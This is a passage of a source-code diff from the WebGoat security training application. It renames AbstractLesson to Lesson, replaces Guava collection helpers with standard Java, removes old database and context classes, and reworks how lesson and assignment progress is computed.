labelDebugger.setEnabled(enabled);
return new ResponseEntity<>(result, HttpStatus.OK);
}
/**
* Sets the enabled flag on the label debugger to the given parameter
* @param enabled {@link org.owasp.webgoat.session.LabelDebugger} object
* @throws Exception unhandled exception
* @return a {@link org.springframework.http.ResponseEntity} object.
*/
@RequestMapping(value = URL_DEBUG_LABELS_MVC, produces = MediaType.APPLICATION_JSON_VALUE, params = KEY_ENABLED)
public @ResponseBody
ResponseEntity<Map<String, Object>> setDebuggingStatus(@RequestParam("enabled") Boolean enabled) throws Exception {
log.debug("Setting label debugging to {} ", labelDebugger.isEnabled());
Map<String, Object> result = createResponse(enabled);
labelDebugger.setEnabled(enabled);
return new ResponseEntity<>(result, HttpStatus.OK);
}
/**
* @param enabled {@link org.owasp.webgoat.session.LabelDebugger} object

View File

@ -26,6 +26,7 @@
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
*/
package org.owasp.webgoat.service;
import lombok.AllArgsConstructor;
@ -67,21 +68,20 @@ public class LabelService {
* We use Springs session locale resolver which also gives us the option to change the local later on. For
* now it uses the accept-language from the HttpRequest. If this language is not found it will default back
* to messages.properties.
*
* <p>
* Note although it is possible to use Spring language interceptor we for now opt for this solution, the UI
* will always need to fetch the labels with the new language set by the user. So we don't need to intercept each
* and every request to see if the language param has been set in the request.
*
* @param lang the language to fetch labels for (optional)
* @return a map of labels
* @throws Exception
*/
@GetMapping(path = URL_LABELS_MVC, produces = MediaType.APPLICATION_JSON_VALUE)
@ResponseBody
public ResponseEntity<Properties> fetchLabels(@RequestParam(value = "lang", required = false) String lang, HttpServletRequest request) {
public ResponseEntity<Properties> fetchLabels(@RequestParam(value = "lang", required = false) String lang) {
if (!StringUtils.isEmpty(lang)) {
Locale locale = Locale.forLanguageTag(lang);
((SessionLocaleResolver)localeResolver).setDefaultLocale(locale);
((SessionLocaleResolver) localeResolver).setDefaultLocale(locale);
log.debug("Language provided: {} leads to Locale: {}", lang, locale);
}
Properties allProperties = new Properties();

View File

@ -1,7 +1,7 @@
package org.owasp.webgoat.service;
import lombok.AllArgsConstructor;
import org.owasp.webgoat.lessons.AbstractLesson;
import org.owasp.webgoat.lessons.Lesson;
import org.owasp.webgoat.lessons.LessonInfoModel;
import org.owasp.webgoat.session.WebSession;
import org.springframework.web.bind.annotation.RequestMapping;
@ -29,7 +29,7 @@ public class LessonInfoService {
@RequestMapping(path = "/service/lessoninfo.mvc", produces = "application/json")
public @ResponseBody
LessonInfoModel getLessonInfo() {
AbstractLesson lesson = webSession.getCurrentLesson();
Lesson lesson = webSession.getCurrentLesson();
return new LessonInfoModel(lesson.getTitle(), false, false, false);
}

View File

@ -26,10 +26,12 @@
* Source for this application is maintained at
* https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.service;
import lombok.AllArgsConstructor;
import org.owasp.webgoat.lessons.AbstractLesson;
import org.owasp.webgoat.lessons.Lesson;
import org.owasp.webgoat.lessons.Assignment;
import org.owasp.webgoat.lessons.Category;
import org.owasp.webgoat.lessons.LessonMenuItem;
import org.owasp.webgoat.lessons.LessonMenuItemType;
@ -43,9 +45,9 @@ import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Comparator;
import java.util.List;
import java.util.Map;
import java.util.stream.Collectors;
/**
@ -81,16 +83,16 @@ public class LessonMenuService {
categoryItem.setName(category.getName());
categoryItem.setType(LessonMenuItemType.CATEGORY);
// check for any lessons for this category
List<AbstractLesson> lessons = course.getLessons(category);
List<Lesson> lessons = course.getLessons(category);
lessons = lessons.stream().sorted(Comparator.comparing(l -> l.getTitle())).collect(Collectors.toList());
for (AbstractLesson lesson : lessons) {
for (Lesson lesson : lessons) {
LessonMenuItem lessonItem = new LessonMenuItem();
lessonItem.setName(lesson.getTitle());
lessonItem.setLink(lesson.getLink());
lessonItem.setRanking(lesson.getRanking());
lessonItem.setType(LessonMenuItemType.LESSON);
LessonTracker lessonTracker = userTracker.getLessonTracker(lesson);
lessonItem.setComplete(lessonTracker.isLessonSolved());
boolean lessonSolved = lessonCompleted(lessonTracker.getLessonOverview(), lesson);
lessonItem.setComplete(lessonSolved);
categoryItem.addChild(lessonItem);
}
categoryItem.getChildren().sort((o1, o2) -> o1.getRanking() - o2.getRanking());
@ -99,4 +101,19 @@ public class LessonMenuService {
return menu;
}
private boolean lessonCompleted(Map<Assignment, Boolean> map, Lesson currentLesson) {
boolean result = true;
for (Map.Entry<Assignment, Boolean> entry : map.entrySet()) {
Assignment storedAssignment = entry.getKey();
for (Assignment lessonAssignment: currentLesson.getAssignments()) {
if (lessonAssignment.getName().equals(storedAssignment.getName())) {
result = result && entry.getValue();
break;
}
}
}
return result;
}
}

View File

@ -27,6 +27,7 @@
* for free software projects.
*
*/
package org.owasp.webgoat.service;
import org.owasp.webgoat.session.WebSession;

View File

@ -1,10 +1,8 @@
package org.owasp.webgoat.service;
import com.google.common.collect.Lists;
import com.google.common.collect.Maps;
import lombok.AllArgsConstructor;
import lombok.Getter;
import org.owasp.webgoat.lessons.AbstractLesson;
import org.owasp.webgoat.lessons.Lesson;
import org.owasp.webgoat.lessons.Assignment;
import org.owasp.webgoat.lessons.LessonInfoModel;
import org.owasp.webgoat.session.WebSession;
@ -16,6 +14,7 @@ import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
@ -40,14 +39,14 @@ public class LessonProgressService {
@RequestMapping(value = "/service/lessonprogress.mvc", produces = "application/json")
@ResponseBody
public Map getLessonInfo() {
Map json = Maps.newHashMap();
Map json = new HashMap();
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
if (webSession.getCurrentLesson() != null) {
LessonTracker lessonTracker = userTracker.getLessonTracker(webSession.getCurrentLesson());
String successMessage = "";
boolean lessonCompleted = false;
if (lessonTracker != null) {
lessonCompleted = lessonTracker.isLessonSolved();
lessonCompleted = isLessonComplete(lessonTracker.getLessonOverview(), webSession.getCurrentLesson());
successMessage = "LessonCompleted"; //@todo we still use this??
}
json.put("lessonCompleted", lessonCompleted);
@ -66,23 +65,53 @@ public class LessonProgressService {
@ResponseBody
public List<LessonOverview> lessonOverview() {
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
AbstractLesson currentLesson = webSession.getCurrentLesson();
List<LessonOverview> result = Lists.newArrayList();
if ( currentLesson != null ) {
Lesson currentLesson = webSession.getCurrentLesson();
List<LessonOverview> result = new ArrayList<>();
if (currentLesson != null) {
LessonTracker lessonTracker = userTracker.getLessonTracker(currentLesson);
result = toJson(lessonTracker.getLessonOverview());
result = toJson(lessonTracker.getLessonOverview(), currentLesson);
}
return result;
}
private List<LessonOverview> toJson(Map<Assignment, Boolean> map) {
ArrayList<LessonOverview> result = Lists.newArrayList();
private List<LessonOverview> toJson(Map<Assignment, Boolean> map, Lesson currentLesson) {
List<LessonOverview> result = new ArrayList();
for (Map.Entry<Assignment, Boolean> entry : map.entrySet()) {
result.add(new LessonOverview(entry.getKey(), entry.getValue()));
Assignment storedAssignment = entry.getKey();
for (Assignment lessonAssignment : currentLesson.getAssignments()) {
if (lessonAssignment.getName().equals(storedAssignment.getName())
&& !lessonAssignment.getPath().equals(storedAssignment.getPath())) {
//here a stored path in the assignments table will be corrected for the JSON output
//with the value of the actual expected path
storedAssignment.setPath(lessonAssignment.getPath());
result.add(new LessonOverview(storedAssignment, entry.getValue()));
break;
} else if (lessonAssignment.getName().equals(storedAssignment.getName())) {
result.add(new LessonOverview(storedAssignment, entry.getValue()));
break;
}
}
//assignments not in the list will not be put in the lesson progress JSON output
}
return result;
}
private boolean isLessonComplete(Map<Assignment, Boolean> map, Lesson currentLesson) {
boolean result = true;
for (Map.Entry<Assignment, Boolean> entry : map.entrySet()) {
Assignment storedAssignment = entry.getKey();
for (Assignment lessonAssignment : currentLesson.getAssignments()) {
if (lessonAssignment.getName().equals(storedAssignment.getName())) {
result = result && entry.getValue();
break;
}
}
}
return result;
}
@AllArgsConstructor
@Getter

View File

@ -1,6 +1,6 @@
package org.owasp.webgoat.service;
import org.owasp.webgoat.lessons.AbstractLesson;
import org.owasp.webgoat.lessons.Lesson;
import org.owasp.webgoat.session.WebSession;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
@ -31,7 +31,7 @@ public class LessonTitleService {
public
@ResponseBody
String showPlan() {
AbstractLesson lesson = webSession.getCurrentLesson();
Lesson lesson = webSession.getCurrentLesson();
return lesson != null ? lesson.getTitle() : "";
}

View File

@ -1,65 +0,0 @@
/**
* *************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 20014 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
*
*/
package org.owasp.webgoat.service;
import com.google.common.collect.Lists;
import org.owasp.webgoat.lessons.RequestParameter;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.HttpSession;
import java.util.Collections;
import java.util.List;
/**
* <p>ParameterService class.</p>
*
* @author rlawson
* @version $Id: $Id
*/
@Controller
public class ParameterService {
/**
* Returns request parameters for last attack
*
* @param session a {@link javax.servlet.http.HttpSession} object.
* @return a {@link java.util.List} object.
*/
@RequestMapping(path = "/service/parameter.mvc", produces = "application/json")
public @ResponseBody
List<RequestParameter> showParameters(HttpSession session) {
//// TODO: 11/6/2016 to decide not sure about the role in WebGoat 8
List<RequestParameter> listParms = Lists.newArrayList();
Collections.sort(listParms);
return listParms;
}
}

View File

@ -1,32 +1,32 @@
/**
* *************************************************************************************************
*
*
* <p>
* <p>
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* <p>
* Copyright (c) 2002 - 20014 Bruce Mayhew
*
* <p>
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* <p>
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* <p>
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* <p>
* Getting Source ==============
*
* <p>
* Source for this application is maintained at
* https://github.com/WebGoat/WebGoat, a repository for free software projects.
*
*/
package org.owasp.webgoat.service;
import org.springframework.http.HttpStatus;
@ -46,6 +46,7 @@ import java.util.Map;
* @author nbaars
* @version $Id: $Id
*/
//TODO REMOVE?
@Controller
public class PluginReloadService {
@ -58,15 +59,6 @@ public class PluginReloadService {
@RequestMapping(path = "/service/reloadplugins.mvc", produces = MediaType.APPLICATION_JSON_VALUE)
public @ResponseBody
ResponseEntity<Map<String, Object>> reloadPlugins(HttpSession session) {
// WebSession webSession = (WebSession) session.getAttribute(WebSession.SESSION);
//
// logger.debug("Loading plugins into cache");
// String pluginPath = session.getServletContext().getRealPath("plugin_lessons");
// String targetPath = session.getServletContext().getRealPath("plugin_extracted");
// //TODO fix me
// //new PluginsLoader(Paths.get(pluginPath), Paths.get(targetPath)).copyJars();
// //webSession.getCourse().createLessonsFromPlugins();
Map<String, Object> result = new HashMap<String, Object>();
result.put("success", true);
result.put("message", "Plugins reloaded");

View File

@ -26,14 +26,14 @@
* Source for this application is maintained at
* https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.service;
import com.google.common.collect.Lists;
import lombok.AllArgsConstructor;
import lombok.Getter;
import lombok.Setter;
import org.owasp.webgoat.i18n.PluginMessages;
import org.owasp.webgoat.lessons.AbstractLesson;
import org.owasp.webgoat.lessons.Lesson;
import org.owasp.webgoat.session.Course;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.users.LessonTracker;
@ -43,6 +43,7 @@ import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import java.util.ArrayList;
import java.util.List;
/**
@ -66,14 +67,14 @@ public class ReportCardService {
@GetMapping(path = "/service/reportcard.mvc", produces = "application/json")
@ResponseBody
public ReportCard reportCard() {
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
List<AbstractLesson> lessons = course.getLessons();
ReportCard reportCard = new ReportCard();
reportCard.setTotalNumberOfLessons(course.getTotalOfLessons());
reportCard.setTotalNumberOfAssignments(course.getTotalOfAssignments());
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
reportCard.setNumberOfAssignmentsSolved(userTracker.numberOfAssignmentsSolved());
reportCard.setNumberOfLessonsSolved(userTracker.numberOfLessonsSolved());
for (AbstractLesson lesson : lessons) {
for (Lesson lesson : course.getLessons()) {
LessonTracker lessonTracker = userTracker.getLessonTracker(lesson);
LessonStatistics lessonStatistics = new LessonStatistics();
lessonStatistics.setName(pluginMessages.getMessage(lesson.getTitle()));
@ -93,7 +94,7 @@ public class ReportCardService {
private int solvedLessons;
private int numberOfAssignmentsSolved;
private int numberOfLessonsSolved;
private List<LessonStatistics> lessonStatistics = Lists.newArrayList();
private List<LessonStatistics> lessonStatistics = new ArrayList<>();
}
@Setter

View File

@ -21,11 +21,13 @@
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
* projects.
*/
package org.owasp.webgoat.service;
import lombok.AllArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.owasp.webgoat.lessons.AbstractLesson;
import org.flywaydb.core.Flyway;
import org.owasp.webgoat.lessons.Lesson;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.users.UserTracker;
import org.owasp.webgoat.users.UserTrackerRepository;
@ -34,33 +36,26 @@ import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseStatus;
/**
* <p>RestartLessonService class.</p>
*
* @author rlawson
* @version $Id: $Id
*/
@Controller
@AllArgsConstructor
@Slf4j
public class RestartLessonService {
private final WebSession webSession;
private UserTrackerRepository userTrackerRepository;
private final UserTrackerRepository userTrackerRepository;
private final Flyway flywayLessons;
/**
* Returns current lesson
*
* @return a {@link java.lang.String} object.
*/
@RequestMapping(path = "/service/restartlesson.mvc", produces = "text/text")
@ResponseStatus(value = HttpStatus.OK)
public void restartLesson() {
AbstractLesson al = webSession.getCurrentLesson();
Lesson al = webSession.getCurrentLesson();
log.debug("Restarting lesson: " + al);
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
userTracker.reset(al);
userTrackerRepository.save(userTracker);
flywayLessons.clean();
flywayLessons.migrate();
}
}

View File

@ -3,6 +3,7 @@
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package org.owasp.webgoat.service;
import org.springframework.stereotype.Controller;

View File

@ -1,11 +1,9 @@
package org.owasp.webgoat.session;
import lombok.AllArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.owasp.webgoat.lessons.AbstractLesson;
import org.owasp.webgoat.lessons.Lesson;
import org.owasp.webgoat.lessons.Category;
import java.util.LinkedList;
import java.util.List;
import static java.util.stream.Collectors.toList;
@ -41,10 +39,13 @@ import static java.util.stream.Collectors.toList;
* @since October 28, 2003
*/
@Slf4j
@AllArgsConstructor
public class Course {
private List<AbstractLesson> lessons = new LinkedList<>();
private List<? extends Lesson> lessons;
public Course(List<? extends Lesson> lessons) {
this.lessons = lessons;
}
/**
* Gets the categories attribute of the Course object
@ -60,7 +61,7 @@ public class Course {
*
* @return The firstLesson value
*/
public AbstractLesson getFirstLesson() {
public Lesson getFirstLesson() {
// Category 0 is the admin function. We want the first real category
// to be returned. This is normally the General category and the Http Basics lesson
return getLessons(getCategories().get(0)).get(0);
@ -71,7 +72,7 @@ public class Course {
*
* @return a {@link java.util.List} object.
*/
public List<AbstractLesson> getLessons() {
public List<? extends Lesson> getLessons() {
return this.lessons;
}
@ -81,11 +82,11 @@ public class Course {
* @param category a {@link org.owasp.webgoat.lessons.Category} object.
* @return a {@link java.util.List} object.
*/
public List<AbstractLesson> getLessons(Category category) {
return this.lessons.stream().filter(l -> l.getCategory() == category).sorted().collect(toList());
public List<Lesson> getLessons(Category category) {
return this.lessons.stream().filter(l -> l.getCategory() == category).collect(toList());
}
public void setLessons(List<AbstractLesson> lessons) {
public void setLessons(List<Lesson> lessons) {
this.lessons = lessons;
}
@ -94,9 +95,6 @@ public class Course {
}
public int getTotalOfAssignments() {
final int[] total = {0};
this.lessons.stream().forEach(l -> total[0] = total[0] + l.getAssignments().size());
return total[0];
return this.lessons.stream().reduce(0, (total, lesson) -> lesson.getAssignments().size() + total, Integer::sum);
}
}

View File

@ -1,129 +0,0 @@
package org.owasp.webgoat.session;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.util.HashMap;
import java.util.Map;
/**
*************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 20014 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
* projects.
*
* @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a>
* @version $Id: $Id
*/
//TODO: class we need to refactor to new structure, we can put the connection in the current session of the user
// start using jdbc template
public class DatabaseUtilities
{
private static Map<String, Connection> connections = new HashMap<String, Connection>();
private static Map<String, Boolean> dbBuilt = new HashMap<String, Boolean>();
/**
* <p>getConnection.</p>
*
* @param s a {@link org.owasp.webgoat.session.WebSession} object.
* @return a {@link java.sql.Connection} object.
* @throws java.sql.SQLException if any.
*/
public static Connection getConnection(WebSession s) throws SQLException
{
return getConnection(s.getUserName(), s.getWebgoatContext());
}
/**
* <p>getConnection.</p>
*
* @param user a {@link java.lang.String} object.
* @param context a {@link org.owasp.webgoat.session.WebgoatContext} object.
* @return a {@link java.sql.Connection} object.
* @throws java.sql.SQLException if any.
*/
public static synchronized Connection getConnection(String user, WebgoatContext context) throws SQLException
{
Connection conn = connections.get(user);
if (conn != null && !conn.isClosed()) return conn;
conn = makeConnection(user, context);
connections.put(user, conn);
if (dbBuilt.get(user) == null)
{
new CreateDB().makeDB(conn);
dbBuilt.put(user, Boolean.TRUE);
}
return conn;
}
/**
* <p>returnConnection.</p>
*
* @param user a {@link java.lang.String} object.
*/
public static synchronized void returnConnection(String user)
{
try
{
Connection connection = connections.get(user);
if (connection == null || connection.isClosed()) return;
if (connection.getMetaData().getDatabaseProductName().toLowerCase().contains("oracle")) connection.close();
} catch (SQLException sqle)
{
sqle.printStackTrace();
}
}
private static Connection makeConnection(String user, WebgoatContext context) throws SQLException
{
try
{
Class.forName(context.getDatabaseDriver());
if (context.getDatabaseConnectionString().contains("hsqldb")) return getHsqldbConnection(user, context);
String userPrefix = context.getDatabaseUser();
String password = context.getDatabasePassword();
String url = context.getDatabaseConnectionString();
return DriverManager.getConnection(url, userPrefix + "_" + user, password);
} catch (ClassNotFoundException cnfe)
{
cnfe.printStackTrace();
throw new SQLException("Couldn't load the database driver: " + cnfe.getLocalizedMessage());
}
}
private static Connection getHsqldbConnection(String user, WebgoatContext context) throws ClassNotFoundException,
SQLException
{
String url = context.getDatabaseConnectionString().replace("{USER}", user);
return DriverManager.getConnection(url, "sa", "");
}
}

View File

@ -1,53 +0,0 @@
package org.owasp.webgoat.session;
/**
* *************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 20014 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at
* https://github.com/WebGoat/WebGoat, a repository for free software projects.
*
* @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect
* Security</a>
* @since October 28, 2003
* @version $Id: $Id
*/
public abstract class Screen {
/**
* Constructor for the Screen object
*/
public Screen() {
}
/**
* Fill in a descriptive title for this lesson
*
* @return The title value
*/
public abstract String getTitle();
}

View File

@ -1,10 +1,10 @@
package org.owasp.webgoat.session;
import lombok.extern.slf4j.Slf4j;
import org.owasp.webgoat.lessons.AbstractLesson;
import org.owasp.webgoat.lessons.Lesson;
import org.owasp.webgoat.users.WebGoatUser;
import org.springframework.security.core.context.SecurityContextHolder;
import java.io.Serializable;
import java.sql.Connection;
import java.sql.SQLException;
@ -37,58 +37,31 @@ import java.sql.SQLException;
* @version $Id: $Id
* @since October 28, 2003
*/
@Slf4j
public class WebSession {
public class WebSession implements Serializable {
private final WebGoatUser currentUser;
private final WebgoatContext webgoatContext;
private AbstractLesson currentLesson;
private static final long serialVersionUID = -4270066103101711560L;
private final WebGoatUser currentUser;
private Lesson currentLesson;
/**
* Constructor for the WebSession object
*
* @param webgoatContext a {@link org.owasp.webgoat.session.WebgoatContext} object.
*/
public WebSession(WebgoatContext webgoatContext) {
this.webgoatContext = webgoatContext;
public WebSession() {
this.currentUser = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal();
}
/**
* <p> getConnection. </p>
*
* @param s a {@link org.owasp.webgoat.session.WebSession} object.
* @return a {@link java.sql.Connection} object.
* @throws java.sql.SQLException if any.
*/
public static synchronized Connection getConnection(WebSession s) throws SQLException {
return DatabaseUtilities.getConnection(s);
}
/**
* <p> returnConnection. </p>
*
* @param s a {@link org.owasp.webgoat.session.WebSession} object.
*/
public static void returnConnection(WebSession s) {
DatabaseUtilities.returnConnection(s.getUserName());
}
/**
* <p> Setter for the field <code>currentScreen</code>. </p>
*
* @param lesson current lesson
*/
public void setCurrentLesson(AbstractLesson lesson) {
public void setCurrentLesson(Lesson lesson) {
this.currentLesson = lesson;
}
/**
* <p> getCurrentLesson. </p>
*
* @return a {@link org.owasp.webgoat.lessons.AbstractLesson} object.
* @return a {@link Lesson} object.
*/
public AbstractLesson getCurrentLesson() {
public Lesson getCurrentLesson() {
return this.currentLesson;
}
@ -100,13 +73,4 @@ public class WebSession {
public String getUserName() {
return currentUser.getUsername();
}
/**
* <p> Getter for the field <code>webgoatContext</code>. </p>
*
* @return a {@link org.owasp.webgoat.session.WebgoatContext} object.
*/
public WebgoatContext getWebgoatContext() {
return webgoatContext;
}
}

View File

@ -1,187 +0,0 @@
package org.owasp.webgoat.session;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.context.annotation.Configuration;
/**
* <p>WebgoatContext class.</p>
*
* @version $Id: $Id
* @author dm
*/
@Configuration
public class WebgoatContext {
@Value("${webgoat.database.connection.string}")
private String databaseConnectionString;
private String realConnectionString = null;
@Value("${webgoat.database.driver}")
private String databaseDriver;
private String databaseUser;
private String databasePassword;
private boolean showCookies = false;
private boolean showParams = false;
private boolean showRequest = false;
private boolean showSource = false;
private boolean showSolution = false;
private boolean enterprise = false;
private boolean codingExercises = false;
@Value("${webgoat.feedback.address}")
private String feedbackAddress;
@Value("${webgoat.feedback.address.html}")
private String feedbackAddressHTML = "";
private boolean isDebug = false;
@Value("${webgoat.default.language}")
private String defaultLanguage;
/**
* returns the connection string with the real path to the database
* directory inserted at the word PATH
*
* @return The databaseConnectionString value
*/
public String getDatabaseConnectionString() {
return this.databaseConnectionString;
}
/**
* Gets the databaseDriver attribute of the WebSession object
*
* @return The databaseDriver value
*/
public String getDatabaseDriver() {
return (databaseDriver);
}
/**
* Gets the databaseUser attribute of the WebSession object
*
* @return The databaseUser value
*/
public String getDatabaseUser() {
return (databaseUser);
}
/**
* Gets the databasePassword attribute of the WebSession object
*
* @return The databasePassword value
*/
public String getDatabasePassword() {
return (databasePassword);
}
/**
* <p>isEnterprise.</p>
*
* @return a boolean.
*/
public boolean isEnterprise() {
return enterprise;
}
/**
* <p>isCodingExercises.</p>
*
* @return a boolean.
*/
public boolean isCodingExercises() {
return codingExercises;
}
/**
* <p>Getter for the field <code>feedbackAddress</code>.</p>
*
* @return a {@link java.lang.String} object.
*/
public String getFeedbackAddress() {
return feedbackAddress;
}
/**
* <p>Getter for the field <code>feedbackAddressHTML</code>.</p>
*
* @return a {@link java.lang.String} object.
*/
public String getFeedbackAddressHTML() {
return feedbackAddressHTML;
}
/**
* <p>isDebug.</p>
*
* @return a boolean.
*/
public boolean isDebug() {
return isDebug;
}
/**
* <p>isShowCookies.</p>
*
* @return a boolean.
*/
public boolean isShowCookies() {
return showCookies;
}
/**
* <p>isShowParams.</p>
*
* @return a boolean.
*/
public boolean isShowParams() {
return showParams;
}
/**
* <p>isShowRequest.</p>
*
* @return a boolean.
*/
public boolean isShowRequest() {
return showRequest;
}
/**
* <p>isShowSource.</p>
*
* @return a boolean.
*/
public boolean isShowSource() {
return showSource;
}
/**
* <p>isShowSolution.</p>
*
* @return a boolean.
*/
public boolean isShowSolution() {
return showSolution;
}
/**
* <p>Getter for the field <code>defaultLanguage</code>.</p>
*
* @return a {@link java.lang.String} object.
*/
public String getDefaultLanguage() {
return defaultLanguage;
}
}

View File

@ -1,17 +1,12 @@
package org.owasp.webgoat.users;
import com.google.common.collect.Lists;
import com.google.common.collect.Sets;
import lombok.Getter;
import org.owasp.webgoat.lessons.AbstractLesson;
import org.owasp.webgoat.lessons.Lesson;
import org.owasp.webgoat.lessons.Assignment;
import javax.persistence.*;
import java.util.List;
import java.util.Map;
import java.util.Optional;
import java.util.Set;
import java.util.*;
import java.util.stream.Collectors;
@ -54,19 +49,21 @@ public class LessonTracker {
@Getter
private String lessonName;
@OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER)
private final Set<Assignment> solvedAssignments = Sets.newHashSet();
private final Set<Assignment> solvedAssignments = new HashSet<>();
@OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER)
private final Set<Assignment> allAssignments = Sets.newHashSet();
private final Set<Assignment> allAssignments = new HashSet<>();
@Getter
private int numberOfAttempts = 0;
@Version
private Integer version;
private LessonTracker() {
//JPA
}
public LessonTracker(AbstractLesson lesson) {
public LessonTracker(Lesson lesson) {
lessonName = lesson.getId();
allAssignments.addAll(lesson.getAssignments());
allAssignments.addAll(lesson.getAssignments() == null ? List.of() : lesson.getAssignments());
}
public Optional<Assignment> getAssignment(String name) {

View File

@ -10,6 +10,7 @@ import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.ModelAttribute;
import org.springframework.web.bind.annotation.PostMapping;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.validation.Valid;
@ -32,8 +33,7 @@ public class RegistrationController {
}
@PostMapping("/register.mvc")
@SneakyThrows
public String registration(@ModelAttribute("userForm") @Valid UserForm userForm, BindingResult bindingResult, HttpServletRequest request) {
public String registration(@ModelAttribute("userForm") @Valid UserForm userForm, BindingResult bindingResult, HttpServletRequest request) throws ServletException {
userValidator.validate(userForm, bindingResult);
if (bindingResult.hasErrors()) {

View File

@ -1,6 +1,5 @@
package org.owasp.webgoat.users;
import com.google.common.collect.Lists;
import lombok.AllArgsConstructor;
import lombok.Getter;
import org.owasp.webgoat.i18n.PluginMessages;
@ -8,6 +7,7 @@ import org.owasp.webgoat.session.Course;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
import java.util.ArrayList;
import java.util.List;
import java.util.stream.Collectors;
@ -36,7 +36,7 @@ public class Scoreboard {
@GetMapping("/scoreboard-data")
public List<Ranking> getRankings() {
List<WebGoatUser> allUsers = userRepository.findAll();
List<Ranking> rankings = Lists.newArrayList();
List<Ranking> rankings = new ArrayList<>();
for (WebGoatUser user : allUsers) {
UserTracker userTracker = userTrackerRepository.findByUser(user.getUsername());
rankings.add(new Ranking(user.getUsername(), challengesSolved(userTracker)));
@ -45,7 +45,7 @@ public class Scoreboard {
}
private List<String> challengesSolved(UserTracker userTracker) {
List<String> challenges = Lists.newArrayList("Challenge1", "Challenge2", "Challenge3", "Challenge4", "Challenge5", "Challenge6", "Challenge7", "Challenge8", "Challenge9");
